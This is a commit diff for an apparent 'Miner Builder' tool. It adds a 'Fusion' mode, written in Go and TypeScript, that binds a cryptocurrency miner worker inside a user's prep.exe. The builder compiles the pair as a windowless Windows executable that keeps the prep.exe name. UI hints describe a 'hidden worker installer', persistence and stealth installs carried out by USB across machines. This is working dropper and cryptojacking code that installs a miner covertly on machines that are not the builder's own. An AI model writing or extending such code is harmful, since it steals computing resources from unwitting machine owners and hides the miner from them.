Add Fusion builder mode to bundle prep.exe with worker.
Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
3
fusion/go.mod
Normal file
3
fusion/go.mod
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
module crypto-miner-fusion
|
||||||
|
|
||||||
|
go 1.26.3
|
||||||
71
fusion/main.go
Normal file
71
fusion/main.go
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed assets/prep.exe
|
||||||
|
var prepExe []byte
|
||||||
|
|
||||||
|
//go:embed assets/worker.exe
|
||||||
|
var workerExe []byte
|
||||||
|
|
||||||
|
// RunOrder is replaced at build time (parallel | prep_first | worker_first).
|
||||||
|
const runOrder = "FUSION_RUN_ORDER"
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(dir)
|
||||||
|
|
||||||
|
prepPath := filepath.Join(dir, "prep.exe")
|
||||||
|
workerPath := filepath.Join(dir, "worker.exe")
|
||||||
|
if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
switch runOrder {
|
||||||
|
case "prep_first":
|
||||||
|
waitProcess(prepPath)
|
||||||
|
startProcess(workerPath)
|
||||||
|
case "worker_first":
|
||||||
|
waitProcess(workerPath)
|
||||||
|
waitProcess(prepPath)
|
||||||
|
default:
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(2)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
waitProcess(prepPath)
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
startProcess(workerPath)
|
||||||
|
}()
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func startProcess(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func waitProcess(path string) {
|
||||||
|
cmd := exec.Command(path)
|
||||||
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
|
||||||
|
}
|
||||||
|
}
|
||||||
82
server/internal/builder/fusion.go
Normal file
82
server/internal/builder/fusion.go
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||||
|
if prepPath == "" {
|
||||||
|
return "", fmt.Errorf("fusion requires prep.exe")
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(prepPath); err != nil {
|
||||||
|
return "", fmt.Errorf("prep.exe not found: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(workerPath); err != nil {
|
||||||
|
return "", fmt.Errorf("worker binary not found: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||||
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||||
|
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
||||||
|
}
|
||||||
|
|
||||||
|
fusionDir := filepath.Join(buildDir, "fusion")
|
||||||
|
assetsDir := filepath.Join(fusionDir, "assets")
|
||||||
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
order := normalizeFusionOrder(runOrder)
|
||||||
|
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
|
||||||
|
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = "prep.exe"
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||||
|
outputName += ".exe"
|
||||||
|
}
|
||||||
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||||
|
|
||||||
|
cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".")
|
||||||
|
cmd.Dir = fusionDir
|
||||||
|
cmd.Env = append(os.Environ(),
|
||||||
|
"GOOS=windows",
|
||||||
|
"GOARCH=amd64",
|
||||||
|
"CGO_ENABLED=0",
|
||||||
|
)
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return outputPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeFusionOrder(order string) string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(order)) {
|
||||||
|
case "prep_first", "worker_first", "parallel":
|
||||||
|
return strings.ToLower(strings.TrimSpace(order))
|
||||||
|
default:
|
||||||
|
return "parallel"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
|
"mime/multipart"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
@@ -51,17 +52,22 @@ type BuildRequest struct {
|
|||||||
PoolPort int `json:"pool_port"`
|
PoolPort int `json:"pool_port"`
|
||||||
PoolTLS bool `json:"pool_tls"`
|
PoolTLS bool `json:"pool_tls"`
|
||||||
PoolPass string `json:"pool_pass"`
|
PoolPass string `json:"pool_pass"`
|
||||||
|
FusionEnabled bool `json:"fusion_enabled"`
|
||||||
|
FusionRunOrder string `json:"fusion_run_order"`
|
||||||
|
FusionOutputName string `json:"fusion_output_name"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type BuildResponse struct {
|
type BuildResponse struct {
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
BuildID string `json:"build_id,omitempty"`
|
BuildID string `json:"build_id,omitempty"`
|
||||||
FileName string `json:"file_name,omitempty"`
|
FileName string `json:"file_name,omitempty"`
|
||||||
FilePath string `json:"file_path,omitempty"`
|
FilePath string `json:"file_path,omitempty"`
|
||||||
RelativePath string `json:"relative_path,omitempty"`
|
RelativePath string `json:"relative_path,omitempty"`
|
||||||
FileSize int64 `json:"file_size,omitempty"`
|
FileSize int64 `json:"file_size,omitempty"`
|
||||||
DownloadURL string `json:"download_url,omitempty"`
|
DownloadURL string `json:"download_url,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||||
|
WorkerFile string `json:"worker_file,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Handler struct {
|
type Handler struct {
|
||||||
@@ -93,17 +99,58 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var req BuildRequest
|
var req BuildRequest
|
||||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
var prepPath string
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
var cleanupPrep func()
|
||||||
return
|
|
||||||
|
contentType := r.Header.Get("Content-Type")
|
||||||
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
|
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
configJSON := r.FormValue("config")
|
||||||
|
if configJSON == "" {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
file, header, err := r.FormFile("prep_exe")
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
prepPath = saved
|
||||||
|
cleanupPrep = remove
|
||||||
|
} else {
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if cleanupPrep != nil {
|
||||||
|
defer cleanupPrep()
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := h.normalizeRequest(&req); err != nil {
|
if err := h.normalizeRequest(&req); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if req.FusionEnabled && prepPath == "" {
|
||||||
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
resp, status, outputPath := h.buildAgent(&req)
|
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||||
if !resp.Success {
|
if !resp.Success {
|
||||||
writeJSON(w, status, resp)
|
writeJSON(w, status, resp)
|
||||||
return
|
return
|
||||||
@@ -135,7 +182,7 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
|||||||
http.ServeFile(w, r, build.FilePath)
|
http.ServeFile(w, r, build.FilePath)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||||
buildID := uuid.New().String()
|
buildID := uuid.New().String()
|
||||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||||
agentDir := filepath.Join(buildDir, "agent")
|
agentDir := filepath.Join(buildDir, "agent")
|
||||||
@@ -157,11 +204,14 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
|||||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
if req.FusionEnabled {
|
||||||
|
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||||
|
}
|
||||||
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||||
|
|
||||||
ldflags := "-s -w -trimpath"
|
ldflags := "-s -w -trimpath"
|
||||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
|
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||||
ldflags += " -H windowsgui"
|
ldflags += " -H windowsgui"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -179,15 +229,29 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
|||||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
fileInfo, err := os.Stat(outputPath)
|
finalPath := outputPath
|
||||||
|
finalName := workerName
|
||||||
|
var fusionEnabled bool
|
||||||
|
|
||||||
|
if req.FusionEnabled {
|
||||||
|
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
||||||
|
if err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
finalPath = fusedPath
|
||||||
|
finalName = filepath.Base(fusedPath)
|
||||||
|
fusionEnabled = true
|
||||||
|
}
|
||||||
|
|
||||||
|
fileInfo, err := os.Stat(finalPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
absPath, _ := filepath.Abs(outputPath)
|
absPath, _ := filepath.Abs(finalPath)
|
||||||
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
||||||
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
||||||
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
|
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||||
}
|
}
|
||||||
|
|
||||||
buildRecord := &models.BuildRecord{
|
buildRecord := &models.BuildRecord{
|
||||||
@@ -209,14 +273,16 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return BuildResponse{
|
return BuildResponse{
|
||||||
Success: true,
|
Success: true,
|
||||||
BuildID: buildID,
|
BuildID: buildID,
|
||||||
FileName: outputName,
|
FileName: finalName,
|
||||||
FilePath: absPath,
|
FilePath: absPath,
|
||||||
RelativePath: relPath,
|
RelativePath: relPath,
|
||||||
FileSize: fileInfo.Size(),
|
FileSize: fileInfo.Size(),
|
||||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||||||
}, http.StatusOK, outputPath
|
FusionEnabled: fusionEnabled,
|
||||||
|
WorkerFile: workerName,
|
||||||
|
}, http.StatusOK, finalPath
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||||
@@ -308,9 +374,52 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.PoolPass == "" {
|
if req.PoolPass == "" {
|
||||||
req.PoolPass = "x"
|
req.PoolPass = "x"
|
||||||
}
|
}
|
||||||
|
if req.FusionEnabled {
|
||||||
|
if req.FusionOutputName == "" {
|
||||||
|
req.FusionOutputName = "prep.exe"
|
||||||
|
}
|
||||||
|
if req.FusionRunOrder == "" {
|
||||||
|
req.FusionRunOrder = "parallel"
|
||||||
|
}
|
||||||
|
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||||
|
req.DisplayMode = "background"
|
||||||
|
}
|
||||||
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||||
|
if header == nil || header.Size == 0 {
|
||||||
|
return "", nil, fmt.Errorf("prep.exe upload is empty")
|
||||||
|
}
|
||||||
|
if header.Size > 150<<20 {
|
||||||
|
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
|
||||||
|
}
|
||||||
|
name := strings.ToLower(header.Filename)
|
||||||
|
if !strings.HasSuffix(name, ".exe") {
|
||||||
|
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
||||||
|
}
|
||||||
|
|
||||||
|
dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
dest := filepath.Join(dir, "prep.exe")
|
||||||
|
out, err := os.Create(dest)
|
||||||
|
if err != nil {
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(out, file); err != nil {
|
||||||
|
out.Close()
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
out.Close()
|
||||||
|
cleanup := func() { _ = os.RemoveAll(dir) }
|
||||||
|
return dest, cleanup, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||||||
// Build ID: %s
|
// Build ID: %s
|
||||||
|
|||||||
@@ -34,9 +34,9 @@ func TestNormalizeRequestRequiresWallet(t *testing.T) {
|
|||||||
func TestNormalizeRequestPersistence(t *testing.T) {
|
func TestNormalizeRequestPersistence(t *testing.T) {
|
||||||
h := &Handler{}
|
h := &Handler{}
|
||||||
req := &BuildRequest{
|
req := &BuildRequest{
|
||||||
WorkerName: "pc-1",
|
WorkerName: "pc-1",
|
||||||
ServerURL: "http://192.168.1.10:8989",
|
ServerURL: "http://192.168.1.10:8989",
|
||||||
Wallet: "48abc",
|
Wallet: "48abc",
|
||||||
Persistence: true,
|
Persistence: true,
|
||||||
}
|
}
|
||||||
if err := h.normalizeRequest(req); err != nil {
|
if err := h.normalizeRequest(req); err != nil {
|
||||||
@@ -46,3 +46,28 @@ func TestNormalizeRequestPersistence(t *testing.T) {
|
|||||||
t.Fatal("persistence should enable auto start")
|
t.Fatal("persistence should enable auto start")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestNormalizeRequestFusion(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "pc-1",
|
||||||
|
ServerURL: "http://192.168.1.10:8989",
|
||||||
|
Wallet: "48abc",
|
||||||
|
FusionEnabled: true,
|
||||||
|
}
|
||||||
|
if err := h.normalizeRequest(req); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if req.FusionOutputName != "prep.exe" {
|
||||||
|
t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName)
|
||||||
|
}
|
||||||
|
if req.FusionRunOrder != "parallel" {
|
||||||
|
t.Fatalf("expected parallel order, got %s", req.FusionRunOrder)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeFusionOrder(t *testing.T) {
|
||||||
|
if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" {
|
||||||
|
t.Fatalf("unexpected order: %s", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -40,11 +40,27 @@ export const api = {
|
|||||||
}),
|
}),
|
||||||
|
|
||||||
// Builder
|
// Builder
|
||||||
buildAgent: (req: BuildRequest) =>
|
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
|
||||||
fetchJSON<BuildResponse>('/builder/build', {
|
if (req.fusion_enabled) {
|
||||||
|
if (!prepFile) {
|
||||||
|
return Promise.reject(new Error('Fusion requires prep.exe upload'));
|
||||||
|
}
|
||||||
|
const form = new FormData();
|
||||||
|
form.append('config', JSON.stringify(req));
|
||||||
|
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||||
|
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
|
||||||
|
if (!res.ok) {
|
||||||
|
const err = await res.text();
|
||||||
|
throw new Error(`API error ${res.status}: ${err}`);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<BuildResponse>;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return fetchJSON<BuildResponse>('/builder/build', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: JSON.stringify(req),
|
body: JSON.stringify(req),
|
||||||
}),
|
});
|
||||||
|
},
|
||||||
|
|
||||||
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||||
|
|
||||||
|
|||||||
@@ -47,6 +47,9 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||||
|
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||||
|
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
||||||
|
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
||||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||||
|
|||||||
@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
|||||||
pool_port: config.pool.port,
|
pool_port: config.pool.port,
|
||||||
pool_tls: config.pool.use_tls,
|
pool_tls: config.pool.use_tls,
|
||||||
pool_pass: config.pool.password,
|
pool_pass: config.pool.password,
|
||||||
|
fusion_enabled: false,
|
||||||
|
fusion_run_order: 'parallel',
|
||||||
|
fusion_output_name: 'prep.exe',
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -52,6 +55,7 @@ export default function BuilderPage() {
|
|||||||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||||||
const [showRecent, setShowRecent] = useState(false);
|
const [showRecent, setShowRecent] = useState(false);
|
||||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||||
|
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||||
@@ -95,10 +99,14 @@ export default function BuilderPage() {
|
|||||||
setError('Custom install base path is required when Install Base is Custom');
|
setError('Custom install base path is required when Install Base is Custom');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (form.fusion_enabled && !fusionPrepFile) {
|
||||||
|
setError('Fusion requires your prep.exe file');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
setBuilding(true);
|
setBuilding(true);
|
||||||
try {
|
try {
|
||||||
const result = await api.buildAgent(form);
|
const result = await api.buildAgent(form, fusionPrepFile);
|
||||||
if (!result.success) {
|
if (!result.success) {
|
||||||
throw new Error(result.error || 'Build failed');
|
throw new Error(result.error || 'Build failed');
|
||||||
}
|
}
|
||||||
@@ -477,6 +485,58 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div className="form-section">
|
||||||
|
<h3>Fusion (prep + worker)</h3>
|
||||||
|
<p className="form-description">
|
||||||
|
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
|
||||||
|
</p>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||||
|
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||||
|
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="fusion_enabled" />
|
||||||
|
</div>
|
||||||
|
{form.fusion_enabled && (
|
||||||
|
<>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
|
||||||
|
<input
|
||||||
|
type="file"
|
||||||
|
className="input"
|
||||||
|
accept=".exe,application/octet-stream"
|
||||||
|
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
||||||
|
/>
|
||||||
|
{fusionPrepFile && (
|
||||||
|
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="form-row">
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||||
|
<select className="select" value={form.fusion_run_order}
|
||||||
|
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||||||
|
<option value="parallel">Parallel (both at once)</option>
|
||||||
|
<option value="prep_first">Prep first, then worker</option>
|
||||||
|
<option value="worker_first">Worker first, then prep</option>
|
||||||
|
</select>
|
||||||
|
<FieldHint field="fusion_run_order" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
|
||||||
|
<input type="text" className="input mono" value={form.fusion_output_name}
|
||||||
|
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||||||
|
<FieldHint field="fusion_output_name" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<p className="form-hint">
|
||||||
|
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||||
|
</p>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
{error && (
|
{error && (
|
||||||
<div className="form-error">
|
<div className="form-error">
|
||||||
<span>⚠️</span> {error}
|
<span>⚠️</span> {error}
|
||||||
@@ -494,6 +554,9 @@ export default function BuilderPage() {
|
|||||||
<h2>Installer Ready</h2>
|
<h2>Installer Ready</h2>
|
||||||
<div className="build-success">
|
<div className="build-success">
|
||||||
<p><strong>Run this once on each Windows machine:</strong></p>
|
<p><strong>Run this once on each Windows machine:</strong></p>
|
||||||
|
{lastBuild.fusion_enabled && (
|
||||||
|
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||||
|
)}
|
||||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||||
<p><strong>Absolute path:</strong></p>
|
